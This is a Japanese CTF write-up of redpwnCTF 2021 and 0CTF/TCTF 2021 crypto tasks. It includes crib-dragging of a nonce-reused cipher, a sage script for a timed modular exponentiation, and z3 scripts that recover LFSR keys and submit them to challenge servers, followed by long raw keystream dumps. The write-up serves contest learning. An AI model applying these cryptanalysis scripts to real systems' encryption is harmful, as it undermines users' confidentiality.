Ciphertext: 2a133a7e50c7bdfc383a3fc025f2c8ad549254fb582d85de3b12779a7b015bbb9d5a8fc9145ca5acb2f7c3298b6be5b1b0930cc6fabbae0da2277120983cd5436ceb1493675a72be1a1069b02889bf91930d7c36a66f5cc3ba1cbdd77db4964ff3e38a881629973d6b8d4aec9456181d
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 68b61df4fed11c522b7abf14f5541c6af3ab5efa3b51dba1cae8317e0ed78e2f4ebcb21ef8cce4853db51f3674afacfd084c92731e3d78ce919c483be73bc01d472a3cccd867a148cea9242077712d317be9282fe13519888b336b35dd
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 3d00326944d1b0e7762977d83ea7d0a700d45fff4b22dcd8036534c36e2a0faa975d9ccd2a5c9ed3e8ea9728d476f9b8f99b1fd0a8faf91ba33d7021ca33d30f23f64095605437f1011e2ca4649bb18ec6454c07b2384dfdbc5a
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 9296d97a5b5eddf0bac5b768c84b2b1d907a825a6b20e5213c206b2fb249b912d347bc10cd6bc45ce95d4fc8d67749c6e544701822e43a90a93536629a25cb1d3ca193e7dc07eba98629db4f7ef087d30b88cef4d6962e2f54
Would you like some more samples, or are you ready to 'quit'?
y
Ciphertext: 9fdfcf7a0944c1beedcbba7d8f477e55a24cdd0e3f16e5657933342b8c5e856d8848bb429f7ed84fe50a46cb817855c3a04139192fa039dca972203b810efd4268f5a2f6c207ebba8104dc6545e388c900ccd6e4c5d16c241f4e93★

2か所似ている暗号が出力されている。全体の長さが同じで、先頭40バイトが異なり、それ以降は全く同じため、フラグを挿入する前の文は同じで、nonceは同じと思われる。
先頭40バイトは以下の2パターンになっているはず。

・quotesの文の一部+flag
・flag+quotesの文の一部

先頭40バイトはkeyが同じなので、推測しながら復号する。異なる部分の暗号は以下の2つ

・9fdfcf7a0944c1beedcbba7d8f477e55a24cdd0e3f16e5657933342b8c5e856d8848bb429f7ed84f
・b893de780007c68f9a99e768b74826588f289a602506ce3e72357568a349b712fa06bf55dd7dce5c
$ python xorstrings.py 9fdfcf7a0944c1beedcbba7d8f477e55a24cdd0e3f16e5657933342b8c5e856d8848bb429f7ed84f b893de780007c68f9a99e768b74826588f289a602506ce3e72357568a349b712fa06bf55dd7dce5c
274c11020943073177525d15380f580d2d64476e1a102b5b0b0641432f17327f724e041742031613

$ python cribdrag.py 274c11020943073177525d15380f580d2d64476e1a102b5b0b0641432f17327f724e041742031613
Your message is currently:
0	________________________________________
Your key is currently:
0	________________________________________
Please enter your crib: flag{
*** 0: "A per"
1: "*}cn8"
2: "wnh$|"
3: "de"`J"
4: "o/fV
        "
5: "%kP)"
6: "a]5&"
7: "W3:n"
8: "><rC"
9: "41t_t"
10: ";yYh#"
*** 11: "sTn?v"
12: "^c9jV"
13: "i4lJ"
14: ">aL<"
15: "kA "
16: "&	a"
17: "+}k"
18: "!{wP"
19: vqL "
20: "||J<p"
21: "vG:l}"
*** 22: "M7ja:"
23: "=gg&8"
24: "mj $T"
25: "`-"Hl"
26: "'/NpI"
27: "%CvU"
28: "I{S	"
29: "q^5"
30: "T)"
31: "/cl"
32: ""ep9"
33: "(hv%x"
34: "b{#dm"
*** 35: "q.bqh"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': key
Your message is currently:
0	A per___________________________________
Your key is currently:
0	flag{___________________________________
Please enter your crib: flag{
*** 0: "A per"
1: "*}cn8"
2: "wnh$|"
3: "de"`J"
4: "o/fV
        "
5: "%kP)"
6: "a]5&"
7: "W3:n"
8: "><rC"
9: "41t_t"
10: ";yYh#"
*** 11: "sTn?v"
12: "^c9jV"
13: "i4lJ"
14: ">aL<"
15: "kA "
16: "&	a"
17: "+}k"
18: "!{wP"
19: vqL "
20: "||J<p"
21: "vG:l}"
*** 22: "M7ja:"
23: "=gg&8"
24: "mj $T"
25: "`-"Hl"
26: "'/NpI"
27: "%CvU"
28: "I{S	"
29: "q^5"
30: "T)"
31: "/cl"
32: ""ep9"
33: "(hv%x"
34: "b{#dm"
*** 35: "q.bqh"
Enter the correct position, 'none' for no match, or 'end' to quit: 9
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	A per____flag{__________________________
Your key is currently:
0	flag{____41t_t__________________________
Please enter your crib: son 
0: "T#""
1: "?~l)"
*** 2: "bmgc"
3: "qf-'"
4: "z,i"
5: "0h_W"
6: "t^r"
7: "B<}"
8: "=35"
9: "!2{"
10: ".zV/"
*** 11: "fWax"
12: "K`6-"
"3: "|7c
14: "+bCD"
15: "~B
g"
16: "^
      )N"
17: "(:"
18: "4t0"
19: "u~
        "
20: "iE{"
21: "cD5+"
22: "X4e&"
23: "(dha"
24: "xi/c"
25: "u.-"
*** 26: "2,A7"
27: "0@y"
28: "\x\_"
29: "d]R"
30: "An"
31: "
      $"
32: "!j7"
33: "=kyb"
34: "wx,#"
35: "d-m6"
*** 36: "1lx3"
Enter the correct position, 'none' for no match, or 'end' to quit: 5
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	A person flag{__________________________
Your key is currently:
0	flag{0h_W41t_t__________________________
Please enter your crib: 0h_W41t_t
0: "$NU=rsn"
1: "|y]^w6E(&"
)" "!jV3
3: "2aPF&a"
4: "9+XfCc)JL"
5: "son flag{"
6: "7Y(i$LP,"
7: "
!	{y"
8: "G:B
        >,RY"
9: "b5Jo;iyr"
10: "m}gXl<Y;3"
11: "%PP9"
12: gZU31n"
13: "?0RzPvEd"
14: "her3s_nO_"
15: "=E;Z+dt/"
16: "
      9.!_"
17: "T/1M$/Tr"
18: "wEGjY5"
19: "^rO|o:r7"
20: "*xt
        ?75["
21: " C\2p7pc"
22: "3TQur[HF"
23: "kcYwcm
             "
24: ";n&F "
25: "6)x#
           -:"
26: "q+p@Np"
27: "sGHeKC:[c"
28: "m(FpH6"
29: "'Z %z5cw"
30: "-0&6\b"
31: "OS#swIg"
Enter the correct position, 'none' for no match, or 'end' to quit: 14
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	A person flag{0h_W41t_t_________________
Your key is currently:
0	flag{0h_W41t_ther3s_nO__________________
Please enter your crib: her3s_nO
0: "O)c1zi~"
1: "$tp:0X_8"
2: "yg{ptn"
3: "jl14B(<"
3Z""a&u
5: "+bCD!{w"
6: "oTa.JV@"
7: "Y nfga"
8: "7/&KP6B"
9: ":8g
       |cb"
10: "5pJ<+RC+"
11: "}]}k~r
"
12: "Pj*>^;)!"
13: "g=U"
14: "0h_W41t_"
15: "eHtE~d"
16: "E5]iOE"
17: "
     ")ct5D"
18: "/
      h#XeI"
19: "b(Th"
20: "ruYhxY/
            "
21: "xN)8u-`"
22: "C>y52AX"
23: "3ntr0py}"
24: "cc3p\H\0"
25: "n$1dm="
26: ")&]$A "
27: "+Je
         - K"
28: "Gr@LjX"
"=[y"W
30: "Z}wH,L"
31: "<7dmY"
32: "+v$1\x\"
Enter the correct position, 'none' for no match, or 'end' to quit: 23
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0	A person flag{0h_W41t_ther3s_nO_________
Your key is currently:
0	flag{0h_W41t_ther3s_nO_3ntr0py}_________
flag{0h_W41t_ther3s_nO_3ntr0py}

quaternion-revenge (crypto)

$ nc mc.ax 31868
n: 109407261225601290979646993307199045582771989091617528040453388668527729655364021294073786236928010288425931170033882500008141737282348381080859938184708804261036670840857901348501188283821065103049160013518150182035783438575945282872216684014487995809554297629331427519782755136732060248945297800684475538669
l: 1024
c1: 8004256688474344817870233833875940222941935887236015063020756596204632736684872367826070568041179498012108632998282142428784927079034900107638096754487286
c2: 4072287980754638763334170410426881140079193675181120657395601634493823175738330991693959371966799518587104964948856594595459994325207179456447135423397260
Calculate the left quaternion isomorphism of m:
>>> 

適当に試してみる。

$ nc mc.ax 31868
n: 86130025636062055956513705083930642167992989060850106586281533247785660295367892438990867856454597008437399796578554368813552223751092749003124747057080792118304583487867234267309926248815120163138042117181301840830034157223307134822520786058567011588349160660968369137756745079514802619272300098374308411299
l: 1023
c1: 9593237318463895403485245835019899101341699250286125466299423268449833221079568272438381700968557138900898253166344975020822465215214852631020599973244033
c2: 4265549705909481277885344297128796851846735962116752700305188804452208934636515673843776196495539597068674270572889618802045156010757400818748543749630735
Calculate the left quaternion isomorphism of m:
>>> i+j
flag{00p5_1_l13d_r0fl}

フラグが表示された。i*jでも表示されるが、理論的な説明はできない。

flag{00p5_1_l13d_r0fl}

survey (misc)

アンケートに答えたら、以下のURLが表示された。

https://static.redpwn.net/content/survey-i9cbpsiv2d6x3zz9.txt

ここにアクセスしたら、フラグが表示された。

flag{thank5_f0r_play1ng_r3dpwnctf_2021!_zc9e848yg2gdhwxz}

0CTF/TCTF 2021 Quals Writeup

この大会は2021/7/3 11:00(JST)~2021/7/5 11:00(JST)に開催されました。
今回もチームで参戦。結果は354点で464チーム中71位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (Misc)

Discordに入り、#announcementsチャネルのメッセージを見るとフラグが書いてあった。

flag{welcome_to_0ctf/tctf_2021_have_fun}

checkin (Crypto)

$ nc 111.186.59.11 16256
Show me your computation:
2^(2^10830857) mod 16373219563917465819540920827363515510995924488576322861597448304510474363567568370093840638392518235969100632857761716685479129334201437603902270147060042588886761123765192079297092059815274163435021310735356119288527597479072418590196159953314220176397555975324821477222222372807144992336580852400471677027 = ?
You have 10 seconds. gogogo!
Your answer: 

この計算に答えればよいが、短時間で計算できるようにする必要がある。modの値が素因数分解できれば可能だが。。。sageを使えばうまく計算してくれるので、sageで計算し答える。

#!/usr/bin/sage
import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('111.186.59.11', 16256))

data = recvuntil(s, 'answer: ')
print data[:-1],
formula = data.split('\n')[1].split(' = ')[0]
n = int(formula.split(' ')[-1])
x = int(formula.split('^')[-1].split(')')[0])

a = 2^x
ans = pow(2, a, n)
print str(ans)
s.sendall(str(ans) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Show me your computation:
2^(2^10660050) mod 33416793971820374033606972701710647087071532878840628144977747677148479043545893440101688964234929668333163379644206973397888200017191640437705590698223843832936901553781510439010710889310863111956114817314771822675321069961338630991532987726015393136745431186371294141143307000940912215198824801874633393693 = ?
You have 10 seconds. gogogo!
Your answer: 19439224788604028708881104870769043056478979428239405508224698336406892670078527632556278679597315071646022632275901172861201208620468146993999095238001850421408485307548920080807319295224428491816281225817294206407232583991424393013394347944188929773941090178498852580283160747751052125059985716348426367264
Correct!
Here is your flag: flag{h0w_m4ny_squar3s_can_u_d0_in_10_sec0nds?}
flag{h0w_m4ny_squar3s_can_u_d0_in_10_sec0nds?}

zer0lfsr- (Crypto)

サーバの処理概要は以下のとおり。

・PoW
・以下を2回繰り返し
 ・1, 2, 3から選択して入力
  →1回使用したら、2回目は使用できない。
 ・msk: 64bitランダム整数
 ・lfsr = zer0lfsr(msk, idx)
 ・以下を5回繰り返し
  ・keystream = ''
  ・以下を1000回繰り返し
   ・b = 0
   ・以下を8回繰り返し
    ・b = (b << 1) + lfsr.next()
   ・keystreamにchr(b)を連結
  ・keystreamを表示
 ・hintでmskのsha256のhexdigestを表示
 ・mskを当てる。
・2回mskを当てたら、フラグが表示される。

lfsrの問題なので、よく使うz3で解く。2つのlfsrの仕組みに対して解く必要があるので、計算が比較的簡単な1と3を選択する。条件を入れすぎるとTimeoutするため、正解率が少し下がるが、128bitのみのチェックにする。

import socket
import string
import itertools
from hashlib import sha256
from Crypto.Util.number import *
from z3 import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def _prod(L):
    p = 1
    for x in L:
        p *= x
    return p

def _sum(L):
    s = 0
    for x in L:
        s ^= x
    return s

def n2l(x, l):
    b = [''] * l
    for i in range(l):
        b[i] = (x >> (l - i - 1)) & 1
    return b

class Generator1:
    def __init__(self, key):
        assert len(key) == 64
        self.NFSR = key[: 48]
        self.LFSR = key[48: ]
        self.TAP = [0, 1, 12, 15]
        self.TAP2 = [[2], [5], [9], [15], [22], [26], [39], [26, 30], [5, 9], [15, 22, 26], [15, 22, 39], [9, 22, 26, 39]]
        self.h_IN = [2, 4, 7, 15, 27]
        self.h_OUT = [[1], [3], [0, 3], [0, 1, 2], [0, 2, 3], [0, 2, 4], [0, 1, 2, 4]]

    def g(self):
        x = self.NFSR
        return _sum(_prod(x[i] for i in j) for j in self.TAP2)

    def h(self):
        x = [self.LFSR[i] for i in self.h_IN[:-1]] + [self.NFSR[self.h_IN[-1]]]
        return _sum(_prod(x[i] for i in j) for j in self.h_OUT)

    def f(self):
        return _sum([self.NFSR[0], self.h()])

    def clock(self):
        o = self.f()
        self.NFSR = self.NFSR[1: ] + [self.LFSR[0] ^ self.g()]
        self.LFSR = self.LFSR[1: ] + [_sum(self.LFSR[i] for i in self.TAP)]
        return o

class Generator3:
    def __init__(self, key):
        assert len(key) == 64
        self.LFSR = key
        self.TAP = [0, 55]
        self.f_IN = [0, 8, 16, 24, 32, 40, 63]
        self.f_OUT = [[1], [6], [0, 1, 2, 3, 4, 5], [0, 1, 2, 4, 6]]

    def f(self):
        x = [self.LFSR[i] for i in self.f_IN]
        return _sum(_prod(x[i] for i in j) for j in self.f_OUT)

    def clock(self):
        self.LFSR = self.LFSR[1: ] + [_sum(self.LFSR[i] for i in self.TAP)]
        return self.f()

class zer0lfsr:
    def __init__(self, msk, t):
        if t == 1:
            self.g = Generator1(n2l(msk, 64))
        elif t == 2:
            self.g = Generator2(n2l(msk, 64))
        else:
            self.g = Generator3(n2l(msk, 64))
        self.t = t

    def next(self):
        for i in range(self.t):
            o = self.g.clock()
        return o

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('111.186.59.28', 31337))

#### PoW ####
chars = string.ascii_letters + string.digits + '!#$%&*-?'
data = recvuntil(s, '\n').rstrip()
print data
proof_tail = data.split(' ')[2][:-1]
digest = data.split(' ')[-1]

for c in itertools.product(chars, repeat=4):
    proof_head = ''.join(c)
    proof = proof_head + proof_tail
    if sha256(proof.encode()).hexdigest() == digest:
        data = recvuntil(s, ':\n').rstrip()
        print data
        print proof_head
        s.sendall(proof_head + '\n')
        break

#### 1st challenge ####
idx = 1
data = recvuntil(s, ': \n').rstrip()
print data
print idx
s.sendall(str(idx) + '\n')

keystreams = []
for i in range(5):
    data = recvuntil(s, 'end\n').rstrip()
    print data
    keystreams.append(data.lstrip('start:::').rstrip(':::end'))

i_keystream = bytes_to_long(keystreams[0])
b_keystream = map(int, list(bin(i_keystream)[2:].zfill(8 * len(keystreams[0]))))

data = recvuntil(s, b'\n').rstrip()
print data
hint = data.split(' ')[-1]

data = recvuntil(s, '\n').rstrip()
print data

x = BitVec('x', 64)
lfsr = zer0lfsr(x, idx)

sol = Solver()

for i in range(128):
    sol.add(lfsr.next() == b_keystream[i])

r = sol.check()
if r == sat:
    m = sol.model()
    msk = m[x].as_long()
    assert sha256(str(msk)).hexdigest() == hint
    print msk
    s.sendall(str(msk) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
else:
    exit(1)

#### 2nd challenge ####
idx = 3
data = recvuntil(s, ': \n').rstrip()
print data
print idx
s.sendall(str(idx) + '\n')

keystreams = []
for i in range(5):
    data = recvuntil(s, 'end\n').rstrip()
    print data
    keystreams.append(data.lstrip('start:::').rstrip(':::end'))

i_keystream = bytes_to_long(keystreams[0])
b_keystream = map(int, list(bin(i_keystream)[2:].zfill(8 * len(keystreams[0]))))

data = recvuntil(s, b'\n').rstrip()
print data
hint = data.split(' ')[-1]

data = recvuntil(s, '\n').rstrip()
print data

y = BitVec('y', 64)
lfsr = zer0lfsr(y, idx)

sol2 = Solver()

for i in range(128):
    sol2.add(lfsr.next() == b_keystream[i])

r = sol2.check()
if r == sat:
    m = sol2.model()
    msk = m[y].as_long()
    assert sha256(str(msk)).hexdigest() == hint
    print msk
    s.sendall(str(msk) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
else:
    exit(1)

#### get flag ####
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

sha256(XXXX + zQYWFD&d0MGojff7) == 6909e7d1dca09662bd7a83466c06c204b8a8844aea077425f597fd78bea446a8
Give me XXXX:
C7G6
which one:
1
start:::Jk�%TOE�4̾����� ��?���d�V�eL�D�{=ajIm�r9�*M�
                                                       �j�ËP��2�9����.>�=��TӖ��ȿ]���'����^����&܌Κ�ԃ಍&S	�fYL����˕8��Ƈ�1�nkq���{����S�)Ѩ�l3��X,�:d�<6��)���3.��w�D����K���Cg�-�G�W�$'��M?������yI��rl(�����q;:P����i�N� ��kb!{(j�{�iC��r��58��j����0�#)����5���*5'�.�̷o���{U�y*���;�g߭7���{:�Q^8��rȌ<$���)؝B�q����a�����s�O\%�}n�%���ό<�wE�GE�OB��S^54]����0�8d����S���.I��-ڞ�tn�4�����}��K���^�(05`b�Y�=]��HOfa=�.�u_��7�&@!�E(�eBcO�
                                                           S�@<c�I���4�\ԺB��I��ζ����9��e�O����H:R�ד
                      9�~�-Vwі��'C<Bz�rZ�T��KUr��މ�aЂE���0���xt8��֠Crߥ��?S�Z���i�I2<���EH��%��?�?����k�Nc����4�|����':�4j<9��O4�
��[x���Xz�;̂.e7v���
                     +[,�J2XOS5?8���[�JXzmC�2��e���WK�-��v��ls/�C����b����
 _���TA�B�xA=&���A�S3B�%��
�1*,Vh/*c���eb���K�=����z�g��;� �0�3���'�H� �S2�`�}:::end
^[[?62;cstart:::�S�BjsN����F5��̸֭^�w5yf�x0��y�;±�*�a��})����HR){N��Q
                                                                      ��P' ��;|��i%Im�b�B�&T���**�3�;��*��C�*���s!3�|V�b}�����h#��&�K
                                                              :���uK{����%	�d���t�Vg��@C�f+m!���/�ɂ�3�r'�nk������A
                                          �w�-;%�������Ň�a�bǿ��.��U%n=K�
                                                                             6��zk
�w���|�	.)�7
=�͙u��N��[�x���x�3/�z3�ZV/�=wi�1���$S��'��Ch{�V�		"�Xv��
wH�s�]\-��5����C*�Ӱ�]|���dBw�٨�1�������Tb/	�B�#�^�ūI׵�� i4�Ĭ�	�^���>)�Z*�v�f8�?��M����a)94a*c#7��e�Pn&KqL͍���x�l�����n]��I��_�N�\�7�`��@,�NZ�M?�ᩃt�
t�7�j�����6���v�5
                 Ʊ�+��o�l7k����&�Y��n�����2�2�Ё�@��L��t��~hG��A!��U�L
��G9���� H��X���3L�9������X�}���j�����I�U�%G([|�
a+&ꗦ���K��J�SL�R�,t��g'
                           �r�
                              K��0S����\�RYu�Z'������j�M��(�4�o�lr�AI순z��o9JI81>��p��aP71�y�@�:�ll�D*���Z�k�O��
                                        "��%m{"�#���V�>�Zx�0�@z�S��HF��Eu����T����UZ�֚I�=�D-V�ք:v[��q��B�=N$q:�P���x��T@=p���wb�h������be�����3#;W$���/�
"�Pl�:::end
start:::�3�/+�w�/R�z�������i�9oL�.��]�fu�5�֊��h���)Z���%��Ǽ*5>�/��p-�1�k2��+}0~/�9��o��0iii8	�/�>��+����b�꦳e��Qs�)I+]���g!q]n�;�h��W�7���.�*
                                                                        W���	��P���Ӽ/Y���Iů�67��	��y��ö��)W�+�M7�~�+1��ٮ{�Ji���:W9p�L���� 3 nF�R�
   <�^<�2��AK:�����~�*�n�*it�R��8��C��:��1H�?��M~ϝ����N�ji��Zc����M�:x���
�e2�Z]����q`K���Wg��h�Y%�1I�A��e$�c0Z�v�����X��=$'���j���\<p�OG	�WSf�1�3�u
    ��<���Ժ���	r-n��<�=k
                                 ?D�ǩ�.��2����'p
                                                 Dxv_�L�D����M�-�vι�����@���ɶ���d]Ǧ�a�+,��@|��(��dd ��k��x�Q]�;��g��t����?"E�8� B"k�e+�A���}2��N�qum+��y�'6T&���fs��m��0��$4"��̩��N)f��P��G��i�|�[^9�S
Yߪ�����l��<����)�\�s7�Jy�	X�������C+y��\���R���9���2���n
�t 
   /?p]���U�Ax	Q�O`r�hN)��^^��YB�� TF��݌�Q{��H\���:9y�#�/�~
�^���M�k�6��Ӟը$UT���΋�8��{&����#~�VD�C-���N?绋s+�8�5a��� ��EU�Q��Ľ���"��ư/e;Cz�>$
          �ؽk�~�H���T�HY������_����c�Jz��?��O�;7jGu%�s �b�nT�왔�0�}6	��H����o ?!\�'wj:::end
start:::�w��>;��+�PdH����M�����u
                                 .
�����?ؼۻ�)�����L�&�T�~
�r�����,����a�v���Հ�`�  �	}9p�R����7����̌
                       ��V-���).�+er�?k�(�
L�1!_��Y#a�5Er7r=QZ�9
F���xȐ8���m`�Sa�NF
�Ϫ�               he�e?�LRWh��[!֩��Ȕ���~��v@
    6�-��l���l7�v[˹9�0�HH����8���h� ���?���-\坹������
                                                           �S��@s%6��C�
��C�q��u�dN�v�9���@5R�
                         +�
                            \��R��4{X.Pa)�H��C�b���N��Κ��5�ɦ`�#|���,eH
                                                                             &��C��o��hX޻�/�d��`
�>�kxY             �E!�f
      �Y<�j�FQ��>�/�.�xR�\�O
���$
�9�'5P
      �$c�z;�i�o��/�NKȿ�<�ڵB�am����7�b�13r���x�\��
�ꢘ�h��1ŧ[�1�f��©�/����O��˒��Q��
Z�X!��H���c4p�1�@�����>�����f�eE������m<��Z���
"�R�3Ae|-�C5�X��PlA��k.k�P/M^npo�&�ӑ����X���@��̈́��(�h;4���ܬ.��qx���K1)�_LL�gr�����O%\��Ll�����g)�����-O*AI�/a���rc�D�����Q�7�Bf��2�����c����(�!�e�
   �d��?m�������I�h��'����O����z�g]i�}�
                                             h�>#�|E���J��!	�A��b)���bb�Mr3�?���-[�PD��y�	�T�$z����������f�ZӦ�*�5����;�e�j�ʻeKr�M~����nt~����zB�gn��,:::end
��ThA6��D�z����U��?�d)dM@��A�_���~Z�*��i�������Ҳ�Z7�!����K�d�F*��-i�
  גP�}��D�zG ͸�:�g��{�A�UΆl3�ah��\ޅ��;T�Ը2C�w�4����F͜f�s
                                                            9��JTH]�`�z/0gs=Z�aFҖX��E�m���g9��XFq�_�/�s�I����ͯ���F��.P����ޭ%���� �-%���B��E
                                                                 �{5��%���B�/$�W�T�r��uϒ{� �
l���uJ�-����h?�ym�"0�A0�>�h�@Zi��e�R�Eh�)��~m�+4�v( #7<�w�Z�
�K�N���W|���
Q˝�S|�Tx�ꖲ�M�������io�uC2�N��L�&�����|!?�ǟ���Wlɵi�,՗�L�G��]}����������*9΍M���23�vb���}��?��qw��A89��;����ش�cF!����,u|��o��^a����j���}�C�4{/o矊 �v"U��׳#�>qޝ��X�'0�T`���.'U���Vn���C/(�ǟ���8��b0
4��N6vW3�������d�iz�Є�|U�.�>{%�q�q���%��y�
                                              ��s�\�h6�`��ZJ�Õ��h��%�W+1tİI;�������"�[����i�)s-.0�� ؒ1Vǐ����*��я\�0��H���4��3e!V^��xu&k�w���U��8/�J��,�;����F��
               �G��%ğd��0��8	�W5�,��M	��J�N[R���h[r��}'��$�7�^ܡ��5�Zڤ{x>���+�w�\(?=x�3�z�
                          >�%�b����4Q��r�{�u2�2��X�3�U��q���֧���B�����!�$�n���\٪��:::end
hint: bf0f898b813c07c27b41cabb263f17364b95b435c0d05a186eeca9335c61440f
k:
2207923918680507724
Good :)
which one:
3
start:::��
           �-�(z���e�
ću�DT-�B��d���|�|��8����;�jϴƒ���{�+QT�n0X�H�m��Tl��<��%쿿cm�q~FM,
                                             ���&DǺv����%���|�F�.�Z<�q|)ӭ�J?p[�f�
�׳+�P}�zJ���6����B@��4iT��7ݱ	��KC��� �l�0~���(S��M���ħ��E`����'�;�r��Z&�v\;X�ޯ�c��g6)&լ��#B�/����K^���pA�����O���E`��tE��w�mȓ+��-�^�S�׫O�(����"�@Pkh�S�����c}�ʋ5�����~�m��]�{D��ณ\�,�v����#��bY��#����`�����CQ���]��{�l�g�co�:���L{�� z�l��X�����3ʪk9BQ����M�����0	�\�u�\Qm�/N/��#��YM܀o�3T'$UU7}�����k���{(/|��F�����`����(^$1��Q��d��5��B��K�l	��"��U�؟F�U�I�b�h�ݼ�7����@ſX��#G8��p�oA���.�ąԈ�����Y;�t��?���0 �X���np��,7����v�%�v6
                                           }L��g~S+!w~b��
������4�m�-���(43=����T��d™�f9,��&��$��i���!��[�������|�\!!�iT��
                                                                    �����n��+yX�O��I
I:���KhV�vmη!:::end��7ߌȗ8q�KZ�z�vH�7����l&[�����m
start:::w�)��OX����
                    Ԯ���o����m���v�M��w��:��.�Ж{�H/i���sV�p�1R�_�kA̍ڋ?�Ҩv�����R]�f|�'�nZ���%�"5���W�G�����L�������ZY��m�R���#�iQY�i��{L�������
��d�/#~�^|Z�G�M`dƖzXd"�a�y�@�נ�^�;[t;:f��+(� x)�1�1Wb["�ߍo�t�
                                                                 ��& <�r:�L/X����>��r*K\ƕM�ڂ��ϱ-S��[��dd���Ҽ�����ȼ����ig�F�;����D�]Kn���t�l��-�6|��B�Aaex��.��-�۴� ~/�|��N����1�4�_��"��i.��e��
                                              $�1�؛��+l�a܇R�y���K�����[�����=�'�x��"E+s���R�$�T�`n��Y�����������=�S�Ŕ�s-������0[��i>��߽��*Ktrcl����Qs08������~xU[)��o�/��c�˳Q���P��G9L����K|ƾm��0OMT���
                                                            �ݨ$�����`�w蹛j�����6��[��@��]zGyP\�>�ߛ��?�A"�A�����z�$������,�P��)�����|koH�i���{v��K,?�DT5��w��0]60�:��C��հ���J�H[�|R�.���_ߥ1��n���k��
Q��c6�з��vH4�"���b'd�S#�7K�I}:::end}���z�{��B��~%�Ȗ�O�m�H��mFs
start:::ТHT���[�,萺��;l���/����[���D��m�����Z�L y
                                                     /H�u�y}�4&=Q>ž?q|�5�A��[e�ߴ�^����
        ��(hI�D���P�My;� K>p��!27a/�Mks"C�2��b�n�'����q&M��P7�A6�l\��d��ȴ����{������?���l����a�.�"	�S).Iʾ�x��^�%�J���+\T#�����!l��f=��<Դ괸']�����ʭ�O�$Q�����U>��W����ߛ���u��/�V})i��?����m�,��;s���f;��
��(囬>/��F�S,�b��F���n��S5�1;�Pm5�
                                  �R%x60��d��I��e<�����
[�<��6�`f�T &#517507;r+��!+U�fٷ�N����?ʡ�E�.:ۺ^-O���@��y׳��bl�����O�ч�<���rl�Ѧ?���9@��z���Yd�6怓��րx=�\�;]��`���Q,!K��tnϰ>a<Vߊn���a����$�/������:�K��&ܰ��
                                                                        �j��L�N��r�I#lё#
         ��;���_��7��]zݨBޥ<���'��{,���hz+��]oT.��*�]�[ޢN�������#i��g���_n�j�֖F��|hm�\a�������0m���a`�}��N4.X6�y�h��Gdv�
                                           �%m�]����h������+'@B���U����c��6u����,�?�6h?Ѕ���?��(�z�r~]�)� oHU v�*�)i%�!Q�Π�
                                                �Y>�b���'�ƿ�uV�/���-y+����o���>1K���;�ciT������>ͥ��N-�����R�~ej"2N�����H0�T���Rd���L��5��T�<���D�[��2���
�b����'�����,BG%܄�W�s6�q:::end;R�I�A
start:::��'�)ly)�﹄W4�F��%������n���m������MTѠÝ�5'�1W΀�>����?P��bM^�����?�\,���d�l/�Ӵ��RԇW��_����)
u5��
     ���Yl���
             ����ol��_�{f�k�Iy�K��b(�����BI�_t��wG�$�ֆF�ƻ{��ߣ�M���FF��B���3�@�K��l�%,��@��bW��5+�n���|�UU6��S�X7��#���‘kPt|�r���q�H��.;�Am
                                                                     ���p�B	����9�Uy��#
          �u�\��`y��]��7\����a'�w��j+�부��I�LrT�?CM+]
                                                         I��$��m%3�qw<�-��@]���[2�g����'1Â�w\����;��o����k&��ڳv{��xxe~�W��;���'?y����I�����ݧ:Y�\�"�S��8$D���2uxwKf���1.0���e����:µt�
{jE��i�����b_B)����
                       ��	���I��m���oXmg��q��}�����lP(�P�&k��'DN∎������k��3����%_<��R?�^I?h�W��w?����#���yl��ϑCA�_.e�:��Vi��������;m�8H�c�?�eU��46;6ޒ�"����_�L2m�ѷ�9�BK�;�d�����1�Tò��3��4����耤x<��
                                                       % ��6�'�>^��@��I!gS߸6E��z;�*?���b�2k�cW�1,����DI&�X�:�%�ۑ����R���?G��bU���(^�r�ΛpZR�r����/J<0�%���w�y�����Ɖ>S�2��b��zϻzW��OfR�07e�3���<�E���;[�:V6������.����7H#�&A�>@�9�(�[���������i�P��.�
,�����ZNMcNÂ�ۺ?l������č<����QI�����B�eN���a�����
                                                   �:::end
start:::42�*)��.PQ�q���1)i	�Hi(P$f}����Kd���F�ɷ�>S�S�A�Aͻ!��l�9���A�O�1%`��uȘ�$��A��z6�*�VQ4c}�#���?��>Y�>-*�{�2K�3t�{��l]`x��]˕o��
�f��P���V�;Mn^%�����?9ͮ:l����� rlPd�{�;���6��B��0c='��Q��D�2��i�I��z�!��
                                                         gyaym�P
�8������Q������`���ű����6N+s��d��~
        &G/`��<��7	�;Z��p��@��X���9;�_Z�v ��J0�V��+ӫ�K��P��5eԹW�ƻ�d�!�9��|=���6+
X�V�������^7��-��k�YD_���C���z��&��ѣO�]Ǘ�rt%cOa���}��́P4���������!��J��9 5��ϸ��B0NA0��$4P��?����g �ӄI#�v'�2��{"b�m�O5�^{{w�7�I�kC�_�
                                                            O�������>!.�[R+_,�ƒ��3&
       �3CbCf��7�Sk=��-���LfȬBS�eG��Rϵ���k.$���a
����hcJO9Qy;<�����M�ҋ�����|-�z��@^�����۵�f��!�}p��G�
                                                        �.���p����[�T���߬~/<�y9~����I?��v�߭㮝�lҝ~�w�M��`N�\��mbf��*6j���_�V�ڡɨu�F���������.��/��K&�_m��	2�[Ӣ*
             L i�4�"X$n����;üђP�����v������3�N*K�y��N�2��N��m��=����֝�է^/�|�:::end
